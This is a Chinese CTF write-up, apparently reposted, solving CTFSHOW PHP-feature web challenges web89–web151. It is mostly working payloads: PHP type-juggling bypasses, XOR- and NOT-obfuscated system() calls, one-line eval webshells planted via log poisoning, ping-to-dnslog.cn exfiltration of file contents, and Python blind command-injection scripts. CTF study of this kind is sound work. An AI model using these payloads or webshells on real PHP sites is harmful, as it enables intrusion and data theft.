IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTFSHOW-PHP特性 -> 正文阅读

[PHP知识库]CTFSHOW-PHP特性

web89

intval()函数:用于获取变量的整数值。

?num[]=

web90

?num=0x117c
?num=4476a

web91

preg_match('/^php$/im', $a)

php开头,php结尾,i大小写,m多行匹配

?cmd=%0aphp

web92

?num=0x117c
?num=010574

web93

?num=010574

web94

strpos()函数:函数查找字符串在另一字符串中第一次出现的位置

?num=4476.0

web95

?num=+010574
?num= 010574
?num=%0a010574

web96

?u=/var/www/html/flag.php
?u=./flag.php

web97

对数组进行md5

a[]=1&b[]=2

web98

分析一下:

当$_GET存在时,它的值为$_POST

如果$_GET也就是$_POST['flag']=flag时

$_GET['flag']=$_COOKIE['flag']

下一行同理

当判断$_GET中HTTP_FLAG等于flag时,输出flag

思路1:

GET传入随便的值,此时GET就是POST,此时后面的两行失效,然后POST传入HTTP_FLAG=flag

思路2:

GET随便传入

POST传入flag=flag

cookie写入HTTP_FLAG=flag

web99

array_push()函数:函数向数组尾部插入一个或多个元素。

然后访问1.php,post传参

1=system('ls');
1=system('tac flag36d.php');

web100

先来了解一下运算符的优先级

&& > || > = > and > or

所以这道题的

$v0=is_numeric($v1)?and?is_numeric($v2)?and?is_numeric($v3);

vo赋值为is_numeric($v1),后面的相当于无效

is_numeric()函数:用于检测变量是否为数字或数字字符串。

?v1=1&v2=eval($_POST[1])?>&v3=;

post传参

1=system('ls');
1=show_source('ctfshow.php');

得到

$flag_is_7a19d27c0x2d7daf0x2d44cf0x2da2590x2de08a1fc9fe49

将其中的0x2d替换为-,即

7a19d27c-7daf-44cf-a259-e08a1fc9fe49

所有flag为ctfshow{7a19d27c-7daf-44cf-a259-e08a1fc9fe49}

web101

?v1=1&v2=echo new Reflectionclass&v3=;

替换0x2d为-,最后一位需要爆破,题目给的flag少一位

web102

substr()函数:函数返回字符串的一部分。

GET:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POST:v1=hex2bin
然后访问2.php

这里的hex2bin把十六进制值的字符串转换为 ASCII 字符。

web103

同上题

web104

GET:?v2=1
POST:v1=1

或者

GET:?v2[]=1
POST:v1[]=2

web105

考察变量覆盖

web106

sha1()函数:函数计算字符串的 SHA-1 散列

GET:?v2[]=1
POST:v1[]=2

web107

parse_str()函数:把查询字符串解析到变量中。

GET:?v3[]=1
POST:v1=

web108

strrev()函数:返回反转后的字符串

0x36d = 877

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

?c=a%00778

web109

php有内置类

?v1=exception&v2=system('ls')
?v1=exception&v2=system('tac f*')

web110

FilesystemIterator? 遍历文件类

getcwd ?取得当前工作目录

组合在一起默认只显示第一个文件

?v1=FilesystemIterator&v2=getcwd

访问fl36dga.txt

web111

变量覆盖和超全局变量

?v1=ctfshow&v2=GLOBALS

web112

is_file判断给定文件名是否为一个正常的文件。

使用伪协议绕过

?file=php://filter/resource=flag.php

web113

?file=compress.zlib://flag.php

web114

?file=php://filter/resource=flag.php

web115

is_numeric — 检测变量是否为数字或数字字符串

trim — 去除字符串首尾处的空白字符(或者其他字符)

?num=%0c36

%0c? 换页键

web123

PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
但是有一个特性可以绕过,使变量名出现.之类的
特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了
如 CTF[SHOW.COM=>CTF_SHOW.COM

CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo implode(get_defined_vars())

implode — 将一个一维数组的值转化为字符串

get_defined_vars — 返回由所有已定义变量所组成的数组

web125

GET:?1=flag.php
POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])

或者

CTF_SHOW=1&CTF[SHOW.COM=1&fun=extract($_POST)&fl0g=flag_give_me

extract — 从数组中将变量导入到当前的符号表,变量覆盖

web126

GET:?0=var_export($GLOBALS);
POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($_REQUEST[0])

web127

由于php的变量名不能带点和空格,所以他们会被转换成下划线,但是这里过滤了.,所以使用空格

?ctf show=ilove36d

web128

call_user_func:把第一个参数作为回调函数调用

小知识点: _()是一个函数

_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll

get_defined_vars()返回由所有已定义变量所组成的数组?

?f1=_&f2=get_defined_vars

web129

?stripos — 查找字符串首次出现的位置

?f=../ctfshow/../../www/html/flag.php

默认目录:var/www/html/index.php

web130

if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    } 

第一个判断正则匹配,在ctfshow前面有东西才能匹配到

第二个判断是强等于,int和bool返回False

直接?

f=ctfshow

web131

长度溢出

f=250000个ctfshow+1个36Dctfshow

web132

先访问robots.txt,发现admin目录,访问admin

过三个判断

对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y

?username=admin&password=a&code=admin

web133

这题长度限制是6,能执行命令的只有``,``相当于shell_exec(),是没有回显的

我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕,慢慢理解
来自:https://blog.csdn.net/qq_46091464/article/details/109095382

使用dnslog?

?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.rfgt49.dnslog.cn -c 1

得到

flagctfshowa5bb7d46a16e494f8e08d7f3651d0e53

规律:8 4 4 4 12

flag:ctfshow{a5bb7d46-a16e-494f-8e08-d7f3651d0e53}

web134

考察: php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。 所以

?_POST[key1]=36d&_POST[key2]=36d

web135

133plus

?F=`$F`; ping `nl flag.php|awk 'NR==15'|tr -cd "[a-z]"/"[0-9]"`.2dr1vp.dnslog.cn -c 1
得到:15flag1ctfshowf62d7d4b8e2
?F=`$F`; ping `nl flag.php|awk 'NR==16'|tr -cd "[a-z]"/"[0-9]"`.2dr1vp.dnslog.cn -c 1
得到:16flag244db0ae4cdf4ff96b96c3

整理:

ctfshow{f62d7d4b-8e24-4db0-ae4c-df4ff96b96c3}

web136

tee:读取标准输入的数据,并将其内容输出成文件。

?c=ls /|tee 1

访问1下载发现根目录下有flag

?c=cat /f149_15_h3r3|tee 2

访问下载得到flag

web137

call_user_func — 把第一个参数作为回调函数调用,支持数组

静态函数的调用不需要创建对象

ctfshow=ctfshow::getFlag

web138

strripos — 计算指定字符串在目标字符串中最后一次出现的位置(不区分大小写)

这里相当于过滤了:

ctfshow[]=ctfshow&ctfshow[]=getFlag

web139

知识点:命令盲注

if [ `ls / -1 | cut -c 1 | awk "NR==1"` == b ];then sleep 3;fi

ls / -1:一行一行的输出目录

cut -c 1 剪下来第一个字母

awk "NR==1":指定第一行

脚本:

import requests

url = "http://ed303475-9f57-4eb0-acdc-36dc217f4163.challenge.ctf.show/?c="

payload = "if [ `ls / -1 | cut -c {} | awk \"NR=={}\"` == \"{}\" ];then sleep 4;fi"

result = "++++++++++++++"

row = 6
length = 20

strings = "qwertyuiopasdfghjklzxcvbnm_-0123456789"

for r in range(1,row):
    for c in range(1,length):
        for s in strings:
            target = url+payload.format(c,r,s)
            #print(target)
            try:
                requests.get(target,timeout=3)
            except:
                result += s
                print(result)
                break
    result += " "

得到:bin devx etc f149_15_h3r3 home

etc f149_15_h3r3中可能有flag

import requests

url = "http://6b2298ad-31ff-4378-a332-9ca05465b29f.challenge.ctf.show/?c="

payload = "if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 3;fi"

result = "++++++++++++++"

length = 48

strings = "qwertyuiopasdfghjklzxcvbnm_-0123456789"

for c in range(1,length):
    for s in strings:
        target = url+payload.format(c,s)
        #print(target)
        try:
            requests.get(target,timeout=2.5)
        except:
            result += s
            print(result)
            break
    result += " "

print(result)

运行得到flag

(提示:小心环境过期)

web140

弱类型比较

使intval($code)的值为0即可

f1=system&f2=system
f1=getdate&f2=getdate

web141

前提:执行? 1-('phpinfo')()-1;? 也可以输出phpinfo

p:
1111 1010 %fa
1000 1010 %8a
0111 0000 %70

h:
1111 1010 %fa
1001 0010 %92
0100 1000 %68

p:
1111 1010 %fa
1000 1010 %8a
0111 0000 %70

i:
1111 1010 %fa
1001 0011 %93
0110 1001 %69

n:
1111 1010 %fa
1001 0100 %94
0110 1110 %6e

f:
1111 1010 %fa
1001 1100 %9c
0110 0110 %66

o:
1111 1010 %fa
1001 0101 %95
0110 1111 %6f

%fa%fa%fa%fa%fa%fa%fa^%8a%92%8a%93%94%9c%95

先试一下

?v1=1&v2=2&v3=-(%fa%fa%fa%fa%fa%fa%fa^%8a%92%8a%93%94%9c%95)()-

发现:

可以输出phpinfo

我们可以构造

1-('system')('ls')-1

使用和上面相同的方法,得到

1-(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa^%96%89)-1

所以传参

?v1=1&v2=1&v3=-(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa^%96%89)-

得到

下一步

1-('system')('tac *a*')-1
1-(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)-1

就可以拿到flag了

web142

考数学的题目……

?v1=0

?

web143

用141的方法,把 - 改为 * 即可,或者其他的符号

?v1=1&v2=1&v3=*(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)*

web144

调换一下位置即可

?v1=1&v3=-&v2=(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)

web145

这道题把异化的符号过滤了 ^

可以考虑其他的位运算符

取反:

s:
1000 1100 %8c
0111 0011 %73

y:
1000 0110 %86
0111 1001 %79

t:
1000 1011 %8b
0111 0100 %74

e:
1001 1010 %9a
0110 0101 %65

m:
1001 0010 %92
0110 1101 %6d

l:
1001 0011 %93
0110 1100 %6c

a:
1001 1110 %9e
0110 0001 %61

c:
1001 1100 %9c
0110 0011 %63

空格:
1101 1111 %df
0010 0000 %2a

*:
1101 0101 %d5
0010 1010 %2a

(system)(tac *a*)
(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%d5%9e%d5)

配合三元运算符传参:

?v1=1&v2=1&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%d5%9e%d5):

web146

在上一题的基础上过滤了冒号

使用或运算绕过

?v1=1&v2=1&v3=|(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%d5%9e%d5)|

web147

create_function()函数:创建一个以第一个参数为参数,第二个参数为函数体的函数

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

GET:?show=}system('tac flag.php');/*
POST:ctf=\create_function

web148

使用141的异或

?code=(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0);

web149

传一句话木马即可

GET:?ctf=index.php
POST:show=<?php eval($_POST[1]);?>

1=system('tac /ctfshow_fl0g_here.txt');

web150

UA写入一句话木马

<?php eval($_POST[1]);?>

写入之后

GET:?isVIP=true
POST:ctf=/var/log/nginx/access.log&1=system("tac *a*");

?

web151

?..CTFSHOW..=phpinfo

(不太理解)?

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-04-27 11:08:36  更:2022-04-27 11:08:53 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 7:31:08-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码